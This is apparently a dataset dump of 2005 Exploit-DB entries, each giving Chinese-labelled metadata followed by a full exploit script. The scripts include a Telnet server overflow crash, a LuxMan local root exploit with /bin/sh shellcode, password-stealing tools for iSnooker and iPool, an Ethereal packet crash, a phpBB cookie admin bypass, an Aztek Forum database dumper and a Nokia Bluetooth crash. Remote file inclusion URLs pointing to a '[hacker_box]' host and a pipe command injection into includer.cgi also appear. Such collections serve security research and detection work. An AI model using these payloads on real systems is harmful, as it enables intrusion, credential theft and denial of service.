QLWD/code_shield huggingface dataset:
标题: GoodTech Telnet Server < 5.0.7 - Buffer Overflow Crash EDB-ID: 882 CVE: 2005-0768 类型: DOS 平台: WINDOWS 发布日期: 2005-03-15 漏洞利用脚本: /******************************************************************************************

 GoodTech Telnet Server Buffer Overflow Crash POC
 created by Komrade
 e-mail: unsecure(at)altervista(dot)org
 web: http://unsecure.altervista.org

 Tested on GoodTech Telnet Server versions 4.0 - 5.0 (versions prior to 5.0.7)
        on a Windows XP Professional sp2 operating system.

 This exploit connects to the Administration server of GoodTech Telnet Server
 (default port 2380) and sends a very long string (10040 bytes).
 After the exploit is sent the Telnet Server will crash, trying to access
 to a bad memory address: 0xDEADCODE.

 Usage: gtscrash.exe "IP address"

 Options:
 "IP address" The IP address of the computer running GoodTech Telnet Server

*******************************************************************************************/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

int main(int argc, char **argv)
{

 SOCKET sock;
 struct sockaddr_in sock_addr;
 WSADATA data;
 WORD p;
 p=MAKEWORD(2,0);
 WSAStartup(p,&data);
 int i, n, err;
 unsigned char *mex;
 char risp[4096];

 printf("------------------------------------------------------------------------------\r\n");
 printf("\tGoodTech Telnet Server Buffer Overflow Crash POC\r\n");
 printf("\t\t\tcreated by Komrade\r\n\r\n");

 printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
 printf("\t\tweb: http://unsecure.altervista.org\r\n");
 printf("------------------------------------------------------------------------------\r\n\r\n");


 if (argc < 2){
  printf("Usage: gtscrash.exe \"IP address\"\r\n\r\n");
  printf("Options:\r\n");
  printf("IP address\tThe IP address of the computer running GoodTech Telnet Server\r\n");
  exit(0);
 }

 mex =(unsigned char *) LocalAlloc(LMEM_FIXED, 12000);

 sock = socket(AF_INET, SOCK_STREAM, 0);
 sock_addr.sin_family=PF_INET;
 sock_addr.sin_port=htons(2380); /* Administration web server port */
 sock_addr.sin_addr.s_addr= inet_addr(argv[1]);

 err = connect(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr));
 if(err<0){
  printf("Unable to connect() to %s\n", argv[1]);
  exit(-1);
 }

 strcpy (mex, "GET /");

 for(i = strlen(mex); i < 10032; i++)
  mex[i]= 'a';
 mex[i]=0;

 strcat(mex, "\xDE\xC0\xAD\xDE"); /* Invalid IP address */
 strcat(mex, "\r\n\r\n");

 printf("Sending %d bytes.....\n\n", strlen(mex));
 n=send(sock, mex , strlen(mex), 0);

 n=recv(sock, risp, sizeof(risp), 0);
 if (n < 0)
  printf("GoodTech Telnet Server succesfully crashed!!\n");
 else{
  risp[n]=0;
  printf("%s\n", risp);
 }

 closesocket(sock);
 WSACleanup();
 return 0;
}

// milw0rm.com [2005-03-15] URL: https://www.exploit-db.com/exploits/882
标题: Frank McIngvale LuxMan 0.41 - Local Buffer Overflow EDB-ID: 877 CVE: 2005-0385 类型: LOCAL 平台: LINUX 发布日期: 2005-03-14 漏洞利用脚本: #!/usr/bin/perl -w
#
# luxman exploit
#
# ii  luxman         0.41-19.1      Pac-Man clone (svgalib based)
#
# Tested with "security compat" set in /etc/vga/libvga.config on debian unstable 3.1
#
# kfinisterre@jdam:~$ ./luxman_ex.pl
# LuxMan v0.41, Copyright (c) 1995 Frank McIngvale
# LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.
# 
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# Using SIS driver, 2048KB. Chiptype=8
# svgalib 1.4.3
# You must be the owner of the current console to use svgalib.
# Not running in a graphics capable console,
# and unable to find one.
# svgalib: Failed to initialize mouse.
# 
# The frame rate is now set to 1 frames per second.
# If the game seems too fast, too slow, or too jerky,
# you can adjust this value the `-r' option.
# 
# Calibrating delay...-664257
# Sound server started [pid:7082]
# sh-2.05b# id
# uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)
#

($offset) = @ARGV,$offset || ($offset = 0);

$sc  = "\x90"x512;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$ENV{"FOO"} = $sc;

$buf = "A" x 8732;
$buf .= (pack("l",(0xbfffffff-512+$offset)) x2);

#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");
exec("/usr/games/luxman -r 1 -f $buf");

# milw0rm.com [2005-03-14] URL: https://www.exploit-db.com/exploits/877
标题: iSnooker 1.6.8 - Local Password Disclosure EDB-ID: 884 CVE: 2005-0823 类型: LOCAL 平台: WINDOWS 发布日期: 2005-03-16 漏洞利用脚本: /*****************************************************************

iSnooker <= v1.6.8 Local Password Disclosure Exploit by Kozan

Application: iSnooker 1.6.8

Vendor:
Memir Software - memirsoftware.com and
The Snooker Club - thesnookerclub.com

Vulnerable Description:
iSnooker 1.6.8 discloses passwords to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>

HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main()
{
       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

           lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
              (LPBYTE) prgfiles, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("An error occured. Can't get password!\n");
                                return -1;
                       }

                       RegCloseKey(hKey);

   }
       else
       {
               printf("An error occured. Can't get password!\n");
               return -1;
       }

       printf("\n\niSnooker 1.6.8 Local Password Disclosure Exploit by Kozan\n");
       printf("Credits to ATmaCA\n");
       printf("kozan@netmagister.com\n");
       printf("www.netmagister.com - www.spyinstructors.com\n\n");

       char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];

strcpy(pwdfile,strcat(prgfiles,"\\TheSnookerClub\\iSnooker\\MyDetails.txt"));

       int addr, i, y;
       FILE *fp;
       char ch[100], ch2[100];

       if((fp=fopen(pwdfile,"rb")) == NULL)
       {
               printf("An error occured. Can't get password!\n");
               return -1;
       }

       fseek(fp,0,0);

       for(i=0;i<30;i++)
       {
               ch[i]=getc(fp);
               if(ch[i]==0x0D)
               {
                       ch[i]=NULL;
                       strcpy(username,ch);
                       break;
               }
       }

       addr = ftell(fp);
       fseek(fp,addr+1,0);

       for(y=0;y<30;y++)
       {
               ch2[y]=getc(fp);
               if(ch2[y]==0x0D)
               {
                       ch2[y]=NULL;
                       strcpy(password,ch2);
                       break;
               }
       }

       fclose(fp);

       printf("Username        : %s\n",username);
       printf("Password        : %s\n",password);

       return 0;
}

// milw0rm.com [2005-03-16] URL: https://www.exploit-db.com/exploits/884
标题: iPool 1.6.81 - Local Password Disclosure EDB-ID: 885 CVE: 2005-0823 类型: LOCAL 平台: WINDOWS 发布日期: 2005-03-16 漏洞利用脚本: /*****************************************************************

iPool <= v1.6.81 Local Password Disclosure Exploit by Kozan

Application: iPool 1.6.81

Vendor:
Memir Software - memirsoftware.com and
The Pool Club - thepoolclub.com

Vulnerable Description:
iPool 1.6.81 discloses passwords to local users.

Discovered & Coded by Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>

HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main()
{
       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,

"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

           lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
              (LPBYTE) prgfiles, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("An error occured. Can't get password!\n");
                                return -1;
                       }

                       RegCloseKey(hKey);

   }
       else
       {
               printf("An error occured. Can't get password!\n");
               return -1;
       }

       printf("\n\niPool 1.6.81 Local Password Disclosure Exploit by Kozan\n");
       printf("Credits to ATmaCA\n");
       printf("kozan@netmagister.com\n");
       printf("www.netmagister.com - www.spyinstructors.com\n\n");

       char pwdfile[BUFSIZE], username[BUFSIZE], password[BUFSIZE];
       strcpy(pwdfile,strcat(prgfiles,"\\ThePoolClub\\iPool\\MyDetails.txt"));

       int addr, i, y;
       FILE *fp;
       char ch[100], ch2[100];

       if((fp=fopen(pwdfile,"rb")) == NULL)
       {
               printf("An error occured. Can't get password!\n");
               return -1;
       }

       fseek(fp,0,0);

       for(i=0;i<30;i++)
       {
               ch[i]=getc(fp);
               if(ch[i]==0x0D)
               {
                       ch[i]=NULL;
                       strcpy(username,ch);
                       break;
               }
       }

       addr = ftell(fp);
       fseek(fp,addr+1,0);

       for(y=0;y<30;y++)
       {
               ch2[y]=getc(fp);
               if(ch2[y]==0x0D)
               {
                       ch2[y]=NULL;
                       strcpy(password,ch2);
                       break;
               }
       }

       fclose(fp);

       printf("Username        : %s\n",username);
       printf("Password        : %s\n",password);

       return 0;
}

// milw0rm.com [2005-03-16] URL: https://www.exploit-db.com/exploits/885
标题: Ethereal 0.10.9 (Windows) - '3G-A11' Remote Buffer Overflow EDB-ID: 874 CVE: 2005-0739 类型: DOS 平台: WINDOWS 发布日期: 2005-03-12 漏洞利用脚本: /*
 * 
 * Ethereal IAPP remote buffer overflow #2 PoC exploit 
 * ---------------------------------------------------
 * To test this vulnerability on windows, try to send 3-10 packets 
 * that will trigger the crash, and scroll between captured packets
 * in Ethereal.
 * 
 * Coded by Leon Juranic <ljuranic@lss.hr> 
 * LSS Security <http://security.lss.hr/en/>
 * 
 */ 

#include <stdio.h>
#include <windows.h>

#pragma comment (lib,"ws2_32")

#define IAPP_PDU_SSID 0

typedef struct _e_iapphdr {
        unsigned char ia_version;
        unsigned char ia_type;
} e_iapphdr;


typedef struct _e_pduhdr {
 unsigned char pdu_type;
 unsigned char pdu_len_h;
 unsigned char pdu_len_l;
} e_pduhdr;


void xp_sendpacket (char *pack)
{
 WORD wVersionRequested;
 WSADATA wsaData;
 int err;
 int sock,i;
 struct sockaddr_in sin;
 unsigned char buf[2000];
 char bla[2000];
 e_iapphdr *iapp;
 e_pduhdr *pdu;

 wVersionRequested = MAKEWORD( 2, 2 );
 err = WSAStartup( wVersionRequested, &wsaData );
 if ( err != 0 ) {
  printf ("error!!!\n");
  ExitProcess(-1);
 }

 sock=socket(AF_INET,SOCK_DGRAM,0);

 sin.sin_family=AF_INET;
 sin.sin_addr.s_addr = inet_addr(pack);
 sin.sin_port = htons(2313);

 iapp = (e_iapphdr*)&buf;
 iapp->ia_version = 1;
 iapp->ia_type = 1;
 
 pdu  = (e_pduhdr*)(buf+2);
 pdu->pdu_type = 3; 
 pdu->pdu_len_h = 0x05;    
 pdu->pdu_len_l = 0xa1;
 
 memset (bla,'\xfc',1300); 
 strncpy ((char*)&buf+sizeof(e_iapphdr)+sizeof(e_pduhdr),bla,2000);
 
// for (i=0;i<1000;i++)
 sendto (sock,(char*)buf,1489,0,(struct sockaddr*)&sin,sizeof(struct sockaddr));

}


main (int argc, char **argv)
{
 
 xp_sendpacket(argv[1]);
}

// milw0rm.com [2005-03-12] URL: https://www.exploit-db.com/exploits/874
标题: phpBB 2.0.12 - Session Handling Authentication Bypass EDB-ID: 871 CVE: 2005-0614 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-11 漏洞利用脚本: phpBB 2.0.12 Session Handling Authentication Bypass ..
 
easy to use exploit ..
 
** YOU DON'T HAVE TO REGISTER AT THE VICTIM'S FORUM..
 
1- Simply VISIT the forum using Mozilla Firefox.. and be sure that the cookie is made (:
 
3- Close the Browser ..
 
2- Open the cookies.txt ..((located on "C:\Documents and Settings\ALI\Application Data\Mozilla\Firefox\Profiles\ur4nn6o5.default" when using WinXP)) in example ;)
 
and you will find something like :
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
where 127.0.0.1 is the domain for the forum << tested on localhost
and a%3A0%3A%7B%7D is the cookie data ..<< as a visitor
 
3- ok..let's do it !! ..
now open cookies.txt with your text editor
and replace
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A0%3A%7B%7D
---------------------------------------------------------------------------------------------------------------//
with
---------------------------------------------------------------------------------------------------------------\\
127.0.0.1 FALSE / FALSE 1141920503 phpbb2mysql_data a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
---------------------------------------------------------------------------------------------------------------//
 
save the cookies.txt..
 
4- Open your Browser..and go to the exploited forum ..
>>enjoy Hi Permission mode !! :D
 
complete the mission by clicking " Go to Administration Panel "
 
--------------------------------------------------------------------------------
 
written by : Ali7
e-mail : ali7@hotmail.co.uk

# milw0rm.com [2005-03-11] URL: https://www.exploit-db.com/exploits/871
标题: Download Center Lite (DCL) 1.5 - Remote File Inclusion EDB-ID: 870 CVE: 2005-0680 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-10 漏洞利用脚本: Example:

  if register_globals=on and allow_url_fopen=on:
    http://[victim]/[dir]/inc/download_center_lite.inc.php?script_root=http://[hacker_box]/

# milw0rm.com [2005-03-10] URL: https://www.exploit-db.com/exploits/870
标题: SocialMPN - Arbitrary File Injection EDB-ID: 872 CVE: 2005-0691 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-11 漏洞利用脚本: #!/usr/bin/perl -w
 
# Remote Testing SocialMPN Remote File Inclusion by y3dips [for testing only]
# Bug find by zer0-c00l ,
# Bug published at http://waraxe.us/ftopic-542-0-days0-orderasc-.html

print " * Remote Testing File Inclusion for SocialMPN by y3dips *\n";

require LWP::UserAgent;

if(@ARGV == 2)
        {
      
$target= $ARGV[0];
$xploit= $ARGV[1];


my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

$url = "http://$target/modules.php?name=$xploit&file=article&sid=2";
# just for trick , use "?" in the last char of your file inclusion path

my $injek = $ua->get($url);

            print " -------------------------------\n";
   if ($injek->is_success)
   {
      $injekcek = $injek->as_string;
        if ($injekcek =~ /(HTTP\/1\.0 200 OK)/)
        { print("\n This Site Maybe Vulnerable \n"); }
      else
        {die $injek->status_line;}
            print " -------------------------------\n";
        }
   }

else{
print "Use: perl $0 [target] [xplo.txt] \n";
}

# milw0rm.com [2005-03-11] URL: https://www.exploit-db.com/exploits/872
标题: The Includer CGI 1.0 - Remote Command Execution (1) EDB-ID: 862 CVE: 2005-0689 类型: WEBAPPS 平台: CGI 发布日期: 2005-03-07 漏洞利用脚本: Remote Command Execution on:

Example I.: www.host-vulnerable.com/includer.cgi?|id|
Example II.: www.host-vulnerable.com/includer.cgi?template=|id|

# milw0rm.com [2005-03-07] URL: https://www.exploit-db.com/exploits/862
标题: phpWebLog 0.5.3 - Arbitrary File Inclusion EDB-ID: 864 CVE: 2005-0698 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-07 漏洞利用脚本: Example:

 if register_globals=on and allow_url_fopen=on:
   http://[victim]/[dir]/include/init.inc.php?G_PATH=http://[hacker_box]/
   http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[hacker_box]/

# milw0rm.com [2005-03-07] URL: https://www.exploit-db.com/exploits/864
标题: PHP mcNews 1.3 - 'skinfile' Remote File Inclusion EDB-ID: 865 CVE: 2005-0720 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-07 漏洞利用脚本: Example:

 if register_globals=on and allow_url_fopen=on:
   http://[victim]/[dir]/mcNews/admin/header.php?skinfile=http://[hacker_box]/

# milw0rm.com [2005-03-07] URL: https://www.exploit-db.com/exploits/865
标题: Aztek Forum 4.0 - 'myadmin.php' Database Dumper EDB-ID: 860 CVE: 2005-0700 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-07 漏洞利用脚本: /* Changed line 81 - Tested and working /str0ke */

/*
 *   LOTFREE Team presents :
 * Forum-Aztek v4.0 (4nd pr0b4bly inf3ri0r) Database Dump Xpl0it
 * 0day dUd3 X-)
 *
 * ./aztek-sploit 127.0.0.1 admin forum
 * HTTP/1.1 200 OK
 * Date: Sat, 05 Mar 2005 22:18:13 GMT
 * Server: Apache/2.0.50 (Ubuntu) PHP/4.3.8
 * X-Powered-By: PHP/4.3.8
 * Set-Cookie: ATK_ADMIN=
 * Expires: Sat, 05 Mar 2005 22:18:13 GMT
 * Content-Disposition: attachment; filename="backup-admin-2005-5-03-23-18-13.sql"
 * Connection: close
 * Transfer-Encoding: chunked
 * Content-Type: application/force-download
 *
 * (...)
 * INSERT INTO atk_users VALUES ('admin','admin','atm5zzHCTXNkc',0,'',0,0,0,'','',0,0,'','',1109861125,63,'0','','','','','',0,0,'');
 *                            password in DES ---+^^^^^^^^^^^^^
 * (...)
 * sw333333t !
 * http://lotfree.next-touch.com
 */
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>

#define REQ1 "/myadmin.php?action=export_index&login="
#define REQ2 " HTTP/1.1\nHost: "
#define REQ3 "\nCookie: ATK_ADMIN=blah; ATK_LOGIN="
#define REQ4 "\nConnection: close\n\n"

unsigned long resolve (char *host) 
{
  struct in_addr in; 
  struct hostent *he; 
     
  if((in.s_addr=inet_addr(host))==-1) 
  { 
    if((he=(struct hostent*)gethostbyname(host))==NULL) 
    { 
      herror("Resolving victim host"); 
      exit(1); 
    } 
    memcpy((caddr_t)&in, he->h_addr, he->h_length); 
  }
  return(in.s_addr); 
}

int main(int argc,char *argv[])
{
  int sock;
  struct sockaddr_in sin;
  char c;

  if(argc!=4)
  {
    printf("[*]--------------------------------[*]\n");
    printf(" | Aztek-Forum Database Dump Xploit |\n");
    printf(" |   sirius_black // LOTFREE Team   |\n");
    printf("[*]--------------------------------[*]\n\n");
    printf("Usage: %s <victim> <admin_login> <forum_directory>\n\n",argv[0]);
    printf("Exemple: %s www.tictactoe.com admin forum > database.sql\n\n",argv[0]);
    exit(1);
  }
  if((sock=socket(PF_INET,SOCK_STREAM,0))==-1)
  {
    perror("socket");
    exit(1);
  }
  sin.sin_family=AF_INET;
  sin.sin_port=htons(80);
  sin.sin_addr.s_addr=resolve(argv[1]);//  sin.sin_addr.s_addr=resolve("127.0.0.1");
  if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1)
  {
    perror("connect");
    exit(1);
  }
  send(sock,"GET /",5,0);
  send(sock,argv[3],strlen(argv[3]),0);
  send(sock,REQ1,sizeof(REQ1)-1,0);
  send(sock,argv[2],strlen(argv[2]),0);
  send(sock,REQ2,sizeof(REQ2)-1,0);
  send(sock,argv[1],strlen(argv[1]),0);
  send(sock,REQ3,sizeof(REQ3)-1,0);
  send(sock,argv[2],strlen(argv[2]),0);
  send(sock,REQ4,sizeof(REQ4)-1,0);
  while((recv(sock,&c,1,0))==1)
  {
    putchar(c);
  }
  close(sock);
  return 0;
}

// milw0rm.com [2005-03-07] URL: https://www.exploit-db.com/exploits/860
标题: Nokia Symbian 60 - 'BlueTooth Nickname' Remote Restart (2) EDB-ID: 856 CVE: 2005-0681 类型: DOS 平台: HARDWARE 发布日期: 2005-09-23 漏洞利用脚本: /*
      Nokia Bluetab Exploit 
      Found & coded by Qnix
 
 - This Exploit will creat file called bluetab.txt with your 
   bluetooth nickname, send the file to your nokia mobile
   open it copy the nickname and paste it to your bluetooth
   nickname, if any one search and find your nickname his
   mobile will restart .
 - this exploit work on many other symbian and java mobiles .

   Qnix - Qnix@bsdmail.org

*/

#include <stdio.h>
#define  tab1 0x09
#define  tab2 0x2E
#define  dot1 0x0A

int main(int argc,char *argv[])
{

 FILE *bluetab;

 if(argc < 2)
 { 
   msgm();
   printf("Useage : ./bluetab <nickname>\n");
   return 0;
 } 
 else
 { 
   msgm();
   printf("bluetab.txt file created with your nickname . \n");
 }
 
 bluetab = fopen("bluetab.txt","w");
 if(!bluetab)
 {
   msgm();  
   printf("Some kind of file error!\n");
   return 0;
 }

 
 fprintf(bluetab,"%s%c%c%c",argv[1],tab1,tab2,dot1); 
 fclose(bluetab);
 return 0;
 
}

msgm()
{

  printf(" ------------------------------- \n");
  printf("     Nokia Bluetab Exploit       \n");
  printf("       found & coded by          \n");
  printf("       Qnix@bsdmail.org          \n");
  printf(" ------------------------------- \n\n");
}

/* v1 2005-03-04 milw0rm.com */

// milw0rm.com [2005-09-23] URL: https://www.exploit-db.com/exploits/856
标题: PHP Form Mail 2.3 - Arbitrary File Inclusion EDB-ID: 857 CVE: 2005-0678 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-05 漏洞利用脚本: Example:

 if register_globals=on and allow_url_fopen=on:
   http://[victim]/[dir]/inc/formmail.inc.php?script_root=http://[hacker_box]/

# milw0rm.com [2005-03-05] URL: https://www.exploit-db.com/exploits/857